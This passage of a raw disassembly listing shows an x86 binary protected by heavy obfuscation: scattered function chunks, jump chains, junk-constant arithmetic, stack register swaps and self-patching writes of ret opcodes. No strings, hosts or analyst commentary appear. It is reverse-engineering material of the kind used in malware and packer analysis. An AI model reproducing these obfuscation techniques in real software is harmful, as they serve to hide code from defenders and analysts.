CHUNK FOR sub_44B011 ; START OF FUNCTION CHUNK FOR sub_438B66 loc_43B6BC: ; CODE XREF: sub_438B66+110B0j jz loc_441798 ; END OF FUNCTION CHUNK FOR sub_438B66 ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43B6C2: ; CODE XREF: sub_448EB6-3B39j jmp loc_4477D0 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_43B6C7: ; CODE XREF: sub_44B1D2-6E78j jmp loc_44B85B ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_43B6CC: ; CODE XREF: sub_44057E+2B97j jmp loc_44BF07 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_43B6D1: ; CODE XREF: sub_44E5C7-16D3Ej jmp loc_442A00 ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- add edi, 0C6EBF460h jb loc_442BCD or ecx, 869BC942h jmp loc_441796 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_43B6ED: ; CODE XREF: sub_43C6D7+4EEBj pop ecx rol ecx, 0Ah xor ecx, 24F1FFFCh or ecx, 58243D92h jmp loc_43D951 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_43B702: ; CODE XREF: sub_4475B3+3E73j jz loc_447C58 ; END OF FUNCTION CHUNK FOR sub_4475B3 ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43B708: ; CODE XREF: sub_448EB6-D88Dj jmp loc_438BBF ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- sub edx, 8E20125h js loc_4399EF pop edi cmp ebp, 44FF5D13h jmp loc_440AE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD2F loc_43B725: ; CODE XREF: y22d6.y.:00442579j ; sub_43AD2F:loc_448CF4j or ebp, 0E6CEBB99h jmp loc_43FD47 ; END OF FUNCTION CHUNK FOR sub_43AD2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_43B730: ; CODE XREF: sub_44B1D2-1C6Fj jnz loc_44A051 jmp loc_43B59F ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44798E loc_43B73B: ; CODE XREF: sub_44798E:loc_442F3Bj add ebx, 44E258B0h xchg ebx, [esp+0] jmp sub_44A9DF ; END OF FUNCTION CHUNK FOR sub_44798E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_43B749: ; CODE XREF: sub_43E81B-3BDAj ; sub_445362+265Dj ... jmp loc_447820 ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445362 loc_43B74E: ; CODE XREF: sub_43E81B:loc_443797j ; sub_445362+6j xchg eax, [esp+0] mov ecx, eax pop eax xchg edi, [esp-4+arg_0] mov ebp, edi pop edi retn ; END OF FUNCTION CHUNK FOR sub_445362 ; --------------------------------------------------------------------------- loc_43B75B: ; CODE XREF: y22d6.y.:00439C67j jmp loc_439360 ; --------------------------------------------------------------------------- loc_43B760: ; CODE XREF: y22d6.y.:0044474Dj add ecx, 6FFA51B0h add ecx, ebp add ecx, 0DF027EFCh mov [ecx], eax xchg edx, [esp] mov ecx, edx pop edx mov eax, [ebp-4] jmp loc_448347 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B3C9 loc_43B77E: ; CODE XREF: sub_44B3C9-1003Cj pop eax or eax, 0DB385045h and eax, 13C8B1D6h jns loc_43F054 ; END OF FUNCTION CHUNK FOR sub_44B3C9 ; START OF FUNCTION CHUNK FOR sub_439051 loc_43B791: ; CODE XREF: sub_439051+4C6Aj jmp loc_440134 ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_43B796: ; CODE XREF: sub_43C6D7+3211j or edx, 559F5D34h xor edx, 64CE1134h add edx, ebp add edx, 648E1374h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jmp loc_44525E ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; =============== S U B R O U T I N E ======================================= sub_43B7B5 proc near ; CODE XREF: y22d6.y.:00438BE1j ; sub_44E33C:loc_43D84Bp ; FUNCTION CHUNK AT 00437FD1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043B749 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D5CF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043DC98 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043E004 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440ADE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00441A94 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044254E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004425C6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004425EF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00442611 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004427D3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00443C34 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00445311 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00445335 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004462A7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044744F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00447D34 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004489BA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00448E78 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0044AD1C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044C761 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044C93D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044CBDB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044CEA2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044D16E SIZE 0000000C BYTES xchg ecx, [esp+0] pop ecx mov eax, ds:dword_444B00 or eax, eax jnz loc_448E78 jmp loc_43D5CF sub_43B7B5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43B7CC: ; CODE XREF: y22d6.y.:0043C344j jnp sub_44B0E5 xchg edi, ebp ; =============== S U B R O U T I N E ======================================= sub_43B7D4 proc near ; CODE XREF: sub_4463CE+7p ; FUNCTION CHUNK AT 0043A1E6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043C063 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043C497 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043CF24 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00441BB6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00441F44 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00442DC7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00442ECE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444902 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00445963 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00445DE9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044636A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00446533 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044779F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004485C7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C5F2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D49A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044DE73 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0044E2DD SIZE 0000001F BYTES xchg edx, [esp+0] pop edx mov eax, [ebp-4] jmp loc_44C5F2 sub_43B7D4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F501 loc_43B7E0: ; CODE XREF: sub_43F501-12ADj sub edx, 7DB9B1B1h or edx, 2F0F6800h rol edx, 19h add edx, 0F8C56CBCh mov [edx], eax jmp loc_4451E3 ; END OF FUNCTION CHUNK FOR sub_43F501 ; --------------------------------------------------------------------------- loc_43B7FC: ; CODE XREF: y22d6.y.:0044AB0Cj push eax mov eax, edx push ecx push 91BAACF7h pop ecx xor ecx, 0DDF567A8h or ecx, 0FFAF83CBh and ecx, 8444C340h jmp loc_4484CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4452EE loc_43B81D: ; CODE XREF: sub_4452EE:loc_43E4E3j test esi, 42A6318Ah jmp loc_439C77 ; END OF FUNCTION CHUNK FOR sub_4452EE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E63C loc_43B829: ; CODE XREF: sub_44E63C-F2E3j jmp loc_43F904 ; END OF FUNCTION CHUNK FOR sub_44E63C ; --------------------------------------------------------------------------- loc_43B82E: ; CODE XREF: y22d6.y.:004493ABj or eax, 0FDC5AB7Ah xor eax, 0B810A329h rol eax, 15h sub eax, 97985942h jmp loc_44A64A ; --------------------------------------------------------------------------- loc_43B848: ; DATA XREF: y22d6.y.:0043EAF2o xchg edi, [esp] loc_43B84B: ; CODE XREF: y22d6.y.:loc_442DB3j jmp loc_43F087 ; --------------------------------------------------------------------------- pop edx ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_43B851: ; CODE XREF: y22d6.y.:0043F0DBj ; sub_44BCC2:loc_44966Cj jmp sub_44C194 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_184. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43ED4E loc_43B857: ; CODE XREF: sub_43ED4E+D83Ej jmp nullsub_18 ; END OF FUNCTION CHUNK FOR sub_43ED4E ; --------------------------------------------------------------------------- loc_43B85C: ; CODE XREF: y22d6.y.:004442F5j jmp loc_44C653 ; --------------------------------------------------------------------------- loc_43B861: ; CODE XREF: y22d6.y.:00441824j jmp sub_43CA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442E1F loc_43B866: ; CODE XREF: sub_442E1F-6893j mov eax, [ebp+8] cmp dword ptr [eax-0Ch], 4 jnz loc_43CE48 jmp loc_43B39C ; END OF FUNCTION CHUNK FOR sub_442E1F ; =============== S U B R O U T I N E ======================================= sub_43B878 proc near ; CODE XREF: y22d6.y.:00443AEFj ; sub_44928B:loc_44E144p ; FUNCTION CHUNK AT 00439511 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043A678 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E753 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0044164C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004425DB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443F38 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044868C SIZE 00000005 BYTES xchg edi, [esp+0] pop edi pushf push 0A26609A5h pop eax add eax, 33DA9379h jmp loc_43A678 sub_43B878 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447268 loc_43B88E: ; CODE XREF: sub_447268:loc_4475C7j mov eax, [esp+0] push edx push edx push 95858702h pop edx rol edx, 12h sub edx, 7813E1E6h jmp loc_448181 ; END OF FUNCTION CHUNK FOR sub_447268 ; --------------------------------------------------------------------------- locret_43B8A7: ; CODE XREF: y22d6.y.:00447A58j retn ; --------------------------------------------------------------------------- loc_43B8A8: ; CODE XREF: y22d6.y.:0043E211j jmp loc_43B969 ; --------------------------------------------------------------------------- loc_43B8AD: ; DATA XREF: y22d6.y.:0043A7F5o push edx push 60BAA2ADh pop edx or edx, 0F1227E23h add edx, 0D60E6034h jmp loc_442ADA ; --------------------------------------------------------------------------- test ecx, esi jmp loc_43CB92 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441EC4 loc_43B8CD: ; CODE XREF: sub_441EC4+Fj jmp nullsub_338 ; END OF FUNCTION CHUNK FOR sub_441EC4 ; --------------------------------------------------------------------------- loc_43B8D2: ; DATA XREF: sub_438FBB+1o jo loc_44BC1A mov eax, [esp] push edx call sub_4397E6 push 5E59718Dh pop eax or eax, ds:4000E7h add eax, 9D29E015h jmp loc_4484F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_43B8F8: ; CODE XREF: sub_44B1D2-10A83j jle loc_449904 sub esi, ebx jg loc_43FBAB loc_43B906: ; CODE XREF: y22d6.y.:0043D379j push 62D19020h shr ebx, 0Fh loc_43B90E: ; CODE XREF: sub_44B1D2:loc_43A2B0j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_44E112 jmp loc_43DA2D ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- loc_43B91F: ; CODE XREF: y22d6.y.:00442D38j xor ecx, edx ; =============== S U B R O U T I N E ======================================= sub_43B921 proc near ; CODE XREF: y22d6.y.:00448AC8p xchg eax, [esp+0] pop eax push esi pushf push 0D1D45827h pop esi jmp loc_4384D1 sub_43B921 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43B932: ; CODE XREF: sub_4432B8+12Cj mov edx, [ebp+8] imul dword ptr [edx-4] add eax, 2 mov [ebp-0Ch], eax jmp loc_43D9F9 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BCA9 loc_43B943: ; CODE XREF: sub_43BCA9+BAC9j rol edx, 0Bh xor edx, 0AC948A8Dh add edx, 45813C75h xchg edx, [esp+4+var_4] jmp loc_445C9B ; END OF FUNCTION CHUNK FOR sub_43BCA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_43B95A: ; CODE XREF: sub_444581:loc_439133j mov edx, [edx] or edx, edx jnz loc_43B348 jmp loc_442758 ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- loc_43B969: ; CODE XREF: y22d6.y.:loc_43B8A8j push offset loc_44CB6D jmp locret_43DAD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444871 loc_43B973: ; CODE XREF: sub_444871+1j push 1864641Ch pop ebx add ebx, 25C7997Dh sub ebx, ds:4000E7h rol ebx, 0Eh jmp loc_44C0D6 ; END OF FUNCTION CHUNK FOR sub_444871 ; =============== S U B R O U T I N E ======================================= sub_43B98D proc near ; CODE XREF: sub_43D025:loc_438215p ; y22d6.y.:00442CFEj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00438648 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043A882 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0043A9D2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043AED8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043BF51 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043C0B6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0043D2EE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043E1C3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E60E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043FCD9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00442215 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 004424FD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044282C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443EAE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00443F90 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00444D67 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00445B37 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004464F1 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00447804 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00447BF5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004481CB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0044985E SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0044B212 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0044C468 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044C4CD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D942 SIZE 00000022 BYTES xchg ecx, [esp+0] pop ecx cmp dword ptr [ebp-10h], 2 jnz loc_43A882 loc_43B99B: ; CODE XREF: sub_448EB6:loc_4387C8j jmp loc_443F90 sub_43B98D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43B9A0: ; CODE XREF: y22d6.y.:loc_43DF51j xor edx, 0D16D1E48h cmp edx, 1B43476h jmp loc_447971 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43B9B1: ; CODE XREF: sub_448EB6-3025j sbb eax, 6F379EDFh loc_43B9B7: ; CODE XREF: sub_4480DE:loc_43F869j call sub_43760A mov edx, 0BB931B55h push edx push 293C1EE8h pop edx xor edx, 222AC0B8h and edx, 585E9A07h jmp loc_43CD96 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_43B9D9 proc near ; DATA XREF: sub_44C980:loc_441518o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043FDF8 SIZE 00000014 BYTES push edi push 18B43BC4h pop edi and edi, 0C3621257h jmp loc_43FDF8 sub_43B9D9 endp ; --------------------------------------------------------------------------- shr ecx, 18h jmp sub_447A01 ; =============== S U B R O U T I N E ======================================= sub_43B9F3 proc near ; CODE XREF: sub_44E242-91C8p ; sub_44DB81-1564j ; FUNCTION CHUNK AT 0043E4DE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004414B0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044300E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444DAF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004461EF SIZE 00000022 BYTES xchg edx, [esp+0] pop edx push ecx mov ecx, ebp xchg ecx, [esp+0] push edx jmp loc_44300E sub_43B9F3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_43BA03: ; CODE XREF: sub_43A6E1+Cj or eax, eax jnz loc_44D58E jmp loc_445426 ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449ECF loc_43BA10: ; CODE XREF: sub_449ECF:loc_43A32Bj add edi, 0BDC155C8h mov [edi], eax pop edi lea eax, nullsub_12 jmp loc_44B4CB ; END OF FUNCTION CHUNK FOR sub_449ECF ; =============== S U B R O U T I N E ======================================= sub_43BA24 proc near ; DATA XREF: sub_43E165+15o lea eax, sub_44C980 mov byte ptr [eax], 0C3h jmp sub_44C980 sub_43BA24 endp ; =============== S U B R O U T I N E ======================================= sub_43BA32 proc near ; CODE XREF: sub_40FB50+247p ; sub_40FB50+2A2p ... ; FUNCTION CHUNK AT 0044A8B4 SIZE 0000000F BYTES push edx push 78030235h xor edx, ecx jmp loc_44A8B4 sub_43BA32 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_43BA3F: ; CODE XREF: sub_43D20E-5629j lea eax, [ebp-125h] mov [ebp-20h], eax loc_43BA48: ; CODE XREF: y22d6.y.:loc_44B66Fj mov eax, [ebp-1Ch] cmp byte ptr [eax], 0 jnz loc_43B503 loc_43BA54: ; CODE XREF: sub_44364E:loc_43E6E6j js loc_440FEA jmp loc_443009 ; END OF FUNCTION CHUNK FOR sub_43D20E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441DC7 loc_43BA5F: ; CODE XREF: sub_441DC7+16j or eax, eax jz loc_43DECE cmp eax, 0FFFFFFFFh jz loc_43DECE mov eax, [eax] jmp loc_446175 ; --------------------------------------------------------------------------- loc_43BA77: ; CODE XREF: sub_441DC7:loc_441DD7j or eax, eax push offset loc_43D3DA jmp loc_44884F ; END OF FUNCTION CHUNK FOR sub_441DC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43BA83: ; CODE XREF: sub_448EB6:loc_43DB99j mov ds:dword_44183C, eax retn ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_43BA8A: ; CODE XREF: y22d6.y.:00442AEEj jmp loc_43D5F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_43BA8F: ; CODE XREF: sub_44B17B-DA40j jmp nullsub_3 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C3DD loc_43BA94: ; CODE XREF: sub_43C3DD-2B36j push offset loc_439E2C jmp loc_43AD5F ; END OF FUNCTION CHUNK FOR sub_43C3DD ; =============== S U B R O U T I N E ======================================= sub_43BA9E proc near ; CODE XREF: sub_447C9E+7p ; y22d6.y.:0044B944j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00438161 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00439AE7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00442B26 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004452CE SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004482B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449E5F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0044D92F SIZE 00000013 BYTES xchg edx, [esp+0] pop edx mov [ebp-4], eax push 1Ch lea eax, [ebp-34h] push esi jmp loc_449E5F sub_43BA9E endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A58D loc_43BAB1: ; CODE XREF: sub_43A58D+9B9Fj jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_43A58D ; --------------------------------------------------------------------------- loc_43BAB6: ; CODE XREF: y22d6.y.:00438B07j jmp loc_43EEEA ; --------------------------------------------------------------------------- loc_43BABB: ; CODE XREF: y22d6.y.:004474DBj jz loc_44C3C7 jmp loc_43EB8B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_43BAC6: ; CODE XREF: sub_438B66:loc_4375A0j jz loc_43EA83 loc_43BACC: ; CODE XREF: sub_43C6D7+10756j jmp sub_43F7FF ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_43BAD1: ; CODE XREF: sub_43FFE2-72A6j jmp loc_4408A7 ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; --------------------------------------------------------------------------- pushf adc edi, ebx jmp loc_43EA7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_43BADE: ; CODE XREF: sub_44BCC2:loc_437D0Ej mov edx, eax push edi push 183FD146h pop edi or edi, 0A87BF39Dh add edi, 47C43CBDh xchg edi, [esp+8+var_8] jmp sub_44D088 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- loc_43BAFB: ; CODE XREF: y22d6.y.:00448984j call sub_4373B9 loc_43BB00: ; CODE XREF: y22d6.y.:0044931Ej jmp loc_44CAF0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437680 loc_43BB05: ; CODE XREF: sub_437680+12j jmp loc_438D7C ; END OF FUNCTION CHUNK FOR sub_437680 ; --------------------------------------------------------------------------- call sub_447663 ; START OF FUNCTION CHUNK FOR sub_4392B0 loc_43BB0F: ; CODE XREF: sub_4392B0+134FDj jmp nullsub_215 ; END OF FUNCTION CHUNK FOR sub_4392B0 ; --------------------------------------------------------------------------- loc_43BB14: ; CODE XREF: y22d6.y.:0043C120j add eax, 60F5F55h rol eax, 18h add eax, ds:4000EAh sub eax, 3E5478EAh add eax, 8FE2CA4Ch jmp loc_438949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43BB34: ; CODE XREF: sub_448EB6:loc_44D3A7j jnz loc_44A3C6 loc_43BB3A: ; CODE XREF: y22d6.y.:loc_43FDAFj jmp loc_43DBC0 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_43BB3F: ; CODE XREF: y22d6.y.:00441F89j cmp ecx, eax jmp loc_44AC5B ; --------------------------------------------------------------------------- mov ds:dword_41E110, eax lea eax, nullsub_6 mov byte ptr [eax], 0C3h jmp loc_43E613 ; =============== S U B R O U T I N E ======================================= sub_43BB5A proc near ; CODE XREF: sub_415CB7+2A6p ; sub_415CB7+318p ... push ebx push 0FA130105h jmp loc_44D3C1 sub_43BB5A endp ; --------------------------------------------------------------------------- locret_43BB65: ; CODE XREF: y22d6.y.:00446F7Fj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_43BB66: ; CODE XREF: sub_44AEDA-D2D6j jmp loc_447777 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441000 loc_43BB6B: ; CODE XREF: sub_441000+11CDj jge loc_4378F3 loc_43BB71: ; CODE XREF: sub_4499C9+1A7Bj jmp nullsub_144 ; END OF FUNCTION CHUNK FOR sub_441000 ; --------------------------------------------------------------------------- xchg eax, ebx mov [edi], ecx xor ebp, 5100DFFCh jmp loc_4462F8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43BB87: ; CODE XREF: sub_448EB6:loc_448F55j jge loc_4387D0 and ecx, edx jmp loc_439CEA ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443EF1 loc_43BB94: ; CODE XREF: sub_443EF1:loc_44040Fj call sub_44D088 lea eax, [ebp-14h] push eax jmp loc_44DE36 ; END OF FUNCTION CHUNK FOR sub_443EF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445DB1 loc_43BBA2: ; CODE XREF: sub_445DB1+7j push offset sub_44540D jmp loc_44A2E1 ; END OF FUNCTION CHUNK FOR sub_445DB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439A90 loc_43BBAC: ; CODE XREF: sub_439A90:loc_43E134j jnz loc_4474C0 jmp loc_44CFCF ; END OF FUNCTION CHUNK FOR sub_439A90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445A15 loc_43BBB7: ; CODE XREF: sub_445A15+Dj ror eax, 16h jb loc_43ADB0 xor eax, 385C639Eh push offset loc_44AE15 jmp loc_44C3EB ; END OF FUNCTION CHUNK FOR sub_445A15 ; --------------------------------------------------------------------------- sbb edi, eax jmp loc_43CEE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C3DD loc_43BBD7: ; CODE XREF: sub_43C3DD+9A98j adc edi, ebp adc ecx, 4EEAF956h js loc_44E39E not edi loc_43BBE7: ; CODE XREF: sub_43C3DD:loc_43AF2Cj call sub_43760A jmp loc_443BB2 ; END OF FUNCTION CHUNK FOR sub_43C3DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437712 loc_43BBF1: ; CODE XREF: sub_437712:loc_43E6E1j and edi, 44C2EAE0h push offset loc_44D34D jmp loc_43A103 ; END OF FUNCTION CHUNK FOR sub_437712 ; =============== S U B R O U T I N E ======================================= sub_43BC01 proc near ; CODE XREF: sub_407FE4+20p ; sub_4081DD+42p ... call sub_43BC16 jmp ds:off_41E07C sub_43BC01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43BC0C: ; CODE XREF: sub_448EB6+F01j jmp loc_44C98E ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFBB loc_43BC11: ; CODE XREF: sub_43FFBB+2j jmp loc_448797 ; END OF FUNCTION CHUNK FOR sub_43FFBB ; =============== S U B R O U T I N E ======================================= sub_43BC16 proc near ; CODE XREF: sub_43BC01p ; sub_4432B8:loc_43F4FCj ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00438094 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044D41C SIZE 00000005 BYTES jnb loc_438094 push offset loc_44939A jmp nullsub_23 sub_43BC16 endp ; --------------------------------------------------------------------------- test edi, edx jmp loc_444D8F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_43BC2D: ; CODE XREF: sub_449641+48DCj 